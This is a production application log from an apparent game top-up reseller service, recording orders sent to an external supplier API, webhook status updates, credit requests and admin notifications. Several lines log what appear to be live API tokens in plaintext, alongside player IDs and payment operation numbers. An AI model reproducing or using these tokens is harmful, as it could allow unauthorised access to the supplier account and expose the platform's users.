[2026-03-24 14:05:41] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18620,"user_id":529,"amount":2500.0,"admins_notified":7} 
[2026-03-24 14:05:42] production.INFO: SendAcceptReject: Notification queued {"user_id":1360,"notification_type":"request_approved","reference_id":18617} 
[2026-03-24 14:05:44] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1360  
[2026-03-24 14:05:52] production.INFO: Constructing job for order: 178705  
[2026-03-24 14:05:53] production.INFO: Handling job for order: 178705  
[2026-03-24 14:05:53] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 14:05:53] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 14:05:53] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/810/params?qty=1&uuid=64526ca2-cdce-4b42-b628-5914c122d65d&Player_ID=0993659606  
[2026-03-24 14:05:53] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/810/params?qty=1&uuid=64526ca2-cdce-4b42-b628-5914c122d65d&Player_ID=0993659606","has_body":false} 
[2026-03-24 14:05:54] production.INFO: Operation sent successfully {"operation_id":163627,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-hx5lM-1774350354","amount":253.683439999999990277501638047397136688232421875,"status":"processing","product":"240.38 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 14:05:54"}},"processed_data":{"order_number":"ORD-hx5lM-1774350354","amount":253.683439999999990277501638047397136688232421875,"status":"processing","product":"240.38 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 14:06:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"nRWtsKk8RsfXDnawgC2Sf0b1u3ZsZdWn","execution_time":"2026-03-24 14:06:03"} 
[2026-03-24 14:06:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"nRWtsKk8RsfXDnawgC2Sf0b1u3ZsZdWn","execution_time":"2026-03-24 14:06:03","total_operations":3,"sites_count":2} 
[2026-03-24 14:06:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"nRWtsKk8RsfXDnawgC2Sf0b1u3ZsZdWn","execution_time":"2026-03-24 14:06:03","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-9snNM5s-1774348305","ORD-o5E4aand-1774348639"]} 
[2026-03-24 14:06:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"nRWtsKk8RsfXDnawgC2Sf0b1u3ZsZdWn","execution_time":"2026-03-24 14:06:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 14:06:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"nRWtsKk8RsfXDnawgC2Sf0b1u3ZsZdWn","execution_time":"2026-03-24 14:06:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 14:06:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"nRWtsKk8RsfXDnawgC2Sf0b1u3ZsZdWn","execution_time":"2026-03-24 14:06:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9snNM5s-1774348305","operation_id":163593} 
[2026-03-24 14:06:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"nRWtsKk8RsfXDnawgC2Sf0b1u3ZsZdWn","execution_time":"2026-03-24 14:06:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-o5E4aand-1774348639","operation_id":163597} 
[2026-03-24 14:06:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"nRWtsKk8RsfXDnawgC2Sf0b1u3ZsZdWn","execution_time":"2026-03-24 14:06:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-o5E4aand-1774348639","operation_id":163597,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 14:06:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"nRWtsKk8RsfXDnawgC2Sf0b1u3ZsZdWn","execution_time":"2026-03-24 14:06:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-o5E4aand-1774348639","operation_id":163597,"processed":0,"errors":0} 
[2026-03-24 14:06:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"nRWtsKk8RsfXDnawgC2Sf0b1u3ZsZdWn","execution_time":"2026-03-24 14:06:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-o5E4aand-1774348639","operation_id":163597,"orders_count":1,"order_ids":["ORD-hx5lM-1774350354"]} 
[2026-03-24 14:06:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"nRWtsKk8RsfXDnawgC2Sf0b1u3ZsZdWn","execution_time":"2026-03-24 14:06:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-o5E4aand-1774348639","operation_id":163597} 
[2026-03-24 14:06:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"nRWtsKk8RsfXDnawgC2Sf0b1u3ZsZdWn","execution_time":"2026-03-24 14:06:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-o5E4aand-1774348639","operation_id":163597,"orders_count":1} 
[2026-03-24 14:06:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"nRWtsKk8RsfXDnawgC2Sf0b1u3ZsZdWn","execution_time":"2026-03-24 14:06:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-hx5lM-1774350354","operation_id":163627,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 14:06:03] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"nRWtsKk8RsfXDnawgC2Sf0b1u3ZsZdWn","execution_time":"2026-03-24 14:06:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-hx5lM-1774350354","operation_id":163627,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 14:06:03] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"nRWtsKk8RsfXDnawgC2Sf0b1u3ZsZdWn","execution_time":"2026-03-24 14:06:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-hx5lM-1774350354","operation_id":163627,"count":1} 
[2026-03-24 14:06:03] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"nRWtsKk8RsfXDnawgC2Sf0b1u3ZsZdWn","execution_time":"2026-03-24 14:06:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-hx5lM-1774350354","operation_id":163627,"count":1} 
[2026-03-24 14:06:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"nRWtsKk8RsfXDnawgC2Sf0b1u3ZsZdWn","execution_time":"2026-03-24 14:06:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-hx5lM-1774350354","operation_id":163627,"user_id":32,"notification_type":"order_approved","reference_id":178705} 
[2026-03-24 14:06:03] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"nRWtsKk8RsfXDnawgC2Sf0b1u3ZsZdWn","execution_time":"2026-03-24 14:06:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-hx5lM-1774350354","operation_id":163627,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 14:06:03] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"nRWtsKk8RsfXDnawgC2Sf0b1u3ZsZdWn","execution_time":"2026-03-24 14:06:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-hx5lM-1774350354","operation_id":163627,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 14:06:03] production.INFO: Batch update completed {"job":"Quryjob","job_id":"nRWtsKk8RsfXDnawgC2Sf0b1u3ZsZdWn","execution_time":"2026-03-24 14:06:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-hx5lM-1774350354","operation_id":163627,"processed":1,"errors":0} 
[2026-03-24 14:06:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"nRWtsKk8RsfXDnawgC2Sf0b1u3ZsZdWn","execution_time":"2026-03-24 14:06:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-hx5lM-1774350354","operation_id":163627,"processed":1,"errors":0} 
[2026-03-24 14:06:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"nRWtsKk8RsfXDnawgC2Sf0b1u3ZsZdWn","execution_time":"2026-03-24 14:06:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-hx5lM-1774350354","operation_id":163627} 
[2026-03-24 14:06:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 32  
[2026-03-24 14:06:22] production.INFO: Constructing job for order: 178706  
[2026-03-24 14:06:24] production.INFO: Handling job for order: 178706  
[2026-03-24 14:06:24] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 14:06:24] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 14:06:24] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/94/params?qty=2800&uuid=d37eb890-8e71-43ba-8de3-70cc12db852c&Player_ID=55280857  
[2026-03-24 14:06:24] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/94/params?qty=2800&uuid=d37eb890-8e71-43ba-8de3-70cc12db852c&Player_ID=55280857","has_body":false} 
[2026-03-24 14:06:25] production.INFO: Operation sent successfully {"operation_id":163628,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-hcZ-1774350385","amount":4.810156960000000481159077025949954986572265625,"status":"processing","product":"Soulchill Amount","game":"SoulChill","notes":[],"created_at":"2026-03-24 14:06:25"}},"processed_data":{"order_number":"ORD-hcZ-1774350385","amount":4.810156960000000481159077025949954986572265625,"status":"processing","product":"Soulchill Amount","game":"SoulChill"}} 
[2026-03-24 14:06:26] production.INFO: SendAcceptReject: Notification queued {"user_id":237,"notification_type":"request_approved","reference_id":18618} 
[2026-03-24 14:06:28] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 237  
[2026-03-24 14:06:38] production.INFO: SendAcceptReject: Notification queued {"user_id":125,"notification_type":"request_approved","reference_id":18619} 
[2026-03-24 14:06:40] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 125  
[2026-03-24 14:07:11] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-hcZ-1774350385","status":"completed","notes":["-","جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 14:07:11] production.INFO: Processed webhook data (normalized) {"id":"ORD-hcZ-1774350385","status":"completed","codes":[],"notes":["-","جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 14:07:11] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 14:07:11] production.INFO: SendAcceptReject: Notification queued {"user_id":1032,"notification_type":"order_approved","reference_id":178706} 
[2026-03-24 14:07:11] production.INFO: Order updated successfully. Order ID: 178706, Status: completed  
[2026-03-24 14:07:11] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-hcZ-1774350385","status":"completed","codes_count":0} 
[2026-03-24 14:07:13] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1032  
[2026-03-24 14:07:39] production.INFO: SendAcceptReject: Notification queued {"user_id":529,"notification_type":"request_rejected","reference_id":18620} 
[2026-03-24 14:07:40] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 529  
[2026-03-24 14:08:04] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"CGK3MZz06AFYIPIxKBvS6KiRrC8QJxiU","execution_time":"2026-03-24 14:08:04"} 
[2026-03-24 14:08:04] production.INFO: Found pending operations {"job":"Quryjob","job_id":"CGK3MZz06AFYIPIxKBvS6KiRrC8QJxiU","execution_time":"2026-03-24 14:08:04","total_operations":2,"sites_count":1} 
[2026-03-24 14:08:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"CGK3MZz06AFYIPIxKBvS6KiRrC8QJxiU","execution_time":"2026-03-24 14:08:04","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-9snNM5s-1774348305","ORD-o5E4aand-1774348639"]} 
[2026-03-24 14:08:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"CGK3MZz06AFYIPIxKBvS6KiRrC8QJxiU","execution_time":"2026-03-24 14:08:04","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 14:08:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"CGK3MZz06AFYIPIxKBvS6KiRrC8QJxiU","execution_time":"2026-03-24 14:08:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 14:08:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"CGK3MZz06AFYIPIxKBvS6KiRrC8QJxiU","execution_time":"2026-03-24 14:08:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9snNM5s-1774348305","operation_id":163593} 
[2026-03-24 14:08:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"CGK3MZz06AFYIPIxKBvS6KiRrC8QJxiU","execution_time":"2026-03-24 14:08:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-o5E4aand-1774348639","operation_id":163597} 
[2026-03-24 14:08:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"CGK3MZz06AFYIPIxKBvS6KiRrC8QJxiU","execution_time":"2026-03-24 14:08:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-o5E4aand-1774348639","operation_id":163597,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 14:08:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"CGK3MZz06AFYIPIxKBvS6KiRrC8QJxiU","execution_time":"2026-03-24 14:08:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-o5E4aand-1774348639","operation_id":163597,"processed":0,"errors":0} 
[2026-03-24 14:08:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"CGK3MZz06AFYIPIxKBvS6KiRrC8QJxiU","execution_time":"2026-03-24 14:08:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-o5E4aand-1774348639","operation_id":163597} 
[2026-03-24 14:08:08] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-o5E4aand-1774348639","status":"cancelled","notes":[],"codes":[]}} 
[2026-03-24 14:08:08] production.INFO: Processed webhook data (normalized) {"id":"ORD-o5E4aand-1774348639","status":"cancelled","codes":[],"notes":[]} 
[2026-03-24 14:08:08] production.INFO: Mapped webhook status {"external_status":"cancelled","mapped_status":3} 
[2026-03-24 14:08:08] production.INFO: SendAcceptReject: Notification queued {"user_id":31,"notification_type":"order_rejected","reference_id":178675} 
[2026-03-24 14:08:08] production.INFO: Order updated successfully. Order ID: 178675, Status: rejected  
[2026-03-24 14:08:08] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-o5E4aand-1774348639","status":"rejected","codes_count":0} 
[2026-03-24 14:08:10] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 31  
[2026-03-24 14:08:10] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 31  
[2026-03-24 14:08:37] production.INFO: Constructing job for order: 178707  
[2026-03-24 14:08:40] production.INFO: Handling job for order: 178707  
[2026-03-24 14:08:41] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 14:08:41] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 14:08:41] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=9ce4b5d2-ae3f-46b0-9523-1a65bd1ca374&Player_ID=52149483014  
[2026-03-24 14:08:41] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=9ce4b5d2-ae3f-46b0-9523-1a65bd1ca374&Player_ID=52149483014","has_body":false} 
[2026-03-24 14:08:41] production.INFO: Operation sent successfully {"operation_id":163629,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-InlRDL-1774350521","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG","notes":[],"created_at":"2026-03-24 14:08:41"}},"processed_data":{"order_number":"ORD-InlRDL-1774350521","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG"}} 
[2026-03-24 14:09:05] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-InlRDL-1774350521","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 14:09:05] production.INFO: Processed webhook data (normalized) {"id":"ORD-InlRDL-1774350521","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 14:09:05] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 14:09:05] production.INFO: SendAcceptReject: Notification queued {"user_id":627,"notification_type":"order_approved","reference_id":178707} 
[2026-03-24 14:09:05] production.INFO: Order updated successfully. Order ID: 178707, Status: completed  
[2026-03-24 14:09:05] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-InlRDL-1774350521","status":"completed","codes_count":0} 
[2026-03-24 14:09:05] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 627  
[2026-03-24 14:09:36] production.INFO: transferapi Exception: amounttransfer is not equal to mainminbalance {"exception":"amounttransfer is not equal to mainminbalance"} 
[2026-03-24 14:09:38] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 225  
[2026-03-24 14:09:38] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 651  
[2026-03-24 14:10:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"4dEgS9or6VHc9eBABv8nJtKUZfTil0pG","execution_time":"2026-03-24 14:10:02"} 
[2026-03-24 14:10:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"4dEgS9or6VHc9eBABv8nJtKUZfTil0pG","execution_time":"2026-03-24 14:10:02","total_operations":1,"sites_count":1} 
[2026-03-24 14:10:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"4dEgS9or6VHc9eBABv8nJtKUZfTil0pG","execution_time":"2026-03-24 14:10:02","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-9snNM5s-1774348305"]} 
[2026-03-24 14:10:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"4dEgS9or6VHc9eBABv8nJtKUZfTil0pG","execution_time":"2026-03-24 14:10:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 14:10:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"4dEgS9or6VHc9eBABv8nJtKUZfTil0pG","execution_time":"2026-03-24 14:10:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 14:10:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"4dEgS9or6VHc9eBABv8nJtKUZfTil0pG","execution_time":"2026-03-24 14:10:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9snNM5s-1774348305","operation_id":163593} 
[2026-03-24 14:10:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"4dEgS9or6VHc9eBABv8nJtKUZfTil0pG","execution_time":"2026-03-24 14:10:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9snNM5s-1774348305","operation_id":163593,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 14:10:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"4dEgS9or6VHc9eBABv8nJtKUZfTil0pG","execution_time":"2026-03-24 14:10:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9snNM5s-1774348305","operation_id":163593,"processed":0,"errors":0} 
[2026-03-24 14:10:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"4dEgS9or6VHc9eBABv8nJtKUZfTil0pG","execution_time":"2026-03-24 14:10:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9snNM5s-1774348305","operation_id":163593} 
[2026-03-24 14:10:03] production.INFO: Executing GetProducts task...  
[2026-03-24 14:10:03] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 14:10:03] production.INFO: Executing GetProducts task...  
[2026-03-24 14:10:05] production.INFO: async() رجع: true  
[2026-03-24 14:10:05] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 14:10:05] production.WARNING: Product with ID 395 not found  
[2026-03-24 14:10:05] production.WARNING: Product with ID 213 not found  
[2026-03-24 14:10:05] production.WARNING: Product with ID 212 not found  
[2026-03-24 14:10:05] production.WARNING: Product with ID 211 not found  
[2026-03-24 14:10:05] production.WARNING: Product with ID 210 not found  
[2026-03-24 14:10:05] production.WARNING: Product with ID 209 not found  
[2026-03-24 14:10:05] production.WARNING: Product with ID 214 not found  
[2026-03-24 14:10:05] production.WARNING: Product with ID 215 not found  
[2026-03-24 14:10:05] production.WARNING: Product with ID 216 not found  
[2026-03-24 14:10:06] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 14:10:18] production.INFO: Constructing job for order: 178709  
[2026-03-24 14:10:21] production.INFO: Handling job for order: 178709  
[2026-03-24 14:10:21] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 14:10:21] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 14:10:21] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/90/params?qty=1&uuid=85490a8a-afed-47a2-86d7-ccdf7182f4c2&Player_ID=11700551044  
[2026-03-24 14:10:21] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/90/params?qty=1&uuid=85490a8a-afed-47a2-86d7-ccdf7182f4c2&Player_ID=11700551044","has_body":false} 
[2026-03-24 14:10:22] production.INFO: Operation sent successfully {"operation_id":163630,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-MRIl-1774350622","amount":9.3465000000000006963318810448981821537017822265625,"status":"processing","product":"1080+120 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 14:10:22"}},"processed_data":{"order_number":"ORD-MRIl-1774350622","amount":9.3465000000000006963318810448981821537017822265625,"status":"processing","product":"1080+120 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 14:10:26] production.INFO: Constructing job for order: 178710  
[2026-03-24 14:10:28] production.INFO: Handling job for order: 178710  
[2026-03-24 14:10:28] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 14:10:28] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 14:10:28] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=8d0e3116-9c38-4885-949e-651f6ca2ea20&Player_ID=52224200509  
[2026-03-24 14:10:28] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=8d0e3116-9c38-4885-949e-651f6ca2ea20&Player_ID=52224200509","has_body":false} 
[2026-03-24 14:10:29] production.INFO: Operation sent successfully {"operation_id":163631,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-KElv3-1774350628","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 14:10:29"}},"processed_data":{"order_number":"ORD-KElv3-1774350628","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG"}} 
[2026-03-24 14:10:41] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-KElv3-1774350628","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 14:10:41] production.INFO: Processed webhook data (normalized) {"id":"ORD-KElv3-1774350628","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 14:10:41] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 14:10:41] production.INFO: SendAcceptReject: Notification queued {"user_id":844,"notification_type":"order_approved","reference_id":178710} 
[2026-03-24 14:10:41] production.INFO: Order updated successfully. Order ID: 178710, Status: completed  
[2026-03-24 14:10:41] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-KElv3-1774350628","status":"completed","codes_count":0} 
[2026-03-24 14:10:44] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 844  
[2026-03-24 14:10:48] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-MRIl-1774350622","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 14:10:48] production.INFO: Processed webhook data (normalized) {"id":"ORD-MRIl-1774350622","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 14:10:48] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 14:10:48] production.INFO: SendAcceptReject: Notification queued {"user_id":940,"notification_type":"order_approved","reference_id":178709} 
[2026-03-24 14:10:48] production.INFO: Order updated successfully. Order ID: 178709, Status: completed  
[2026-03-24 14:10:48] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-MRIl-1774350622","status":"completed","codes_count":0} 
[2026-03-24 14:10:50] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 940  
[2026-03-24 14:10:52] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"3000.0","mainamount":"3000","operation_number":"158240824","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpjst417l2u2294QU68RC"}},"user_id":193} 
[2026-03-24 14:10:53] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 14:10:53] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 14:10:53] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 14:10:53] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 14:10:53] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 14:10:53] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 14:10:53] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 14:10:53] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 14:10:53] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18621,"user_id":193,"amount":3000.0,"admins_notified":7} 
[2026-03-24 14:11:36] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"1100.0","mainamount":"1100","operation_number":"158242157","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpmchrsh34jsiv84XRJYD"}},"user_id":1572} 
[2026-03-24 14:11:38] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 14:11:38] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 14:11:38] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 14:11:38] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 14:11:38] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 14:11:38] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 14:11:38] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 14:11:38] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 14:11:38] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18622,"user_id":1572,"amount":1100.0,"admins_notified":7} 
[2026-03-24 14:11:43] production.INFO: transferapi Exception: amounttransfer is not equal to mainminbalance {"exception":"amounttransfer is not equal to mainminbalance"} 
[2026-03-24 14:11:44] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 651  
[2026-03-24 14:11:44] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1488  
[2026-03-24 14:12:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"Yhw6HwqHQIrwv1cFDFUTzECauCzVVRyr","execution_time":"2026-03-24 14:12:02"} 
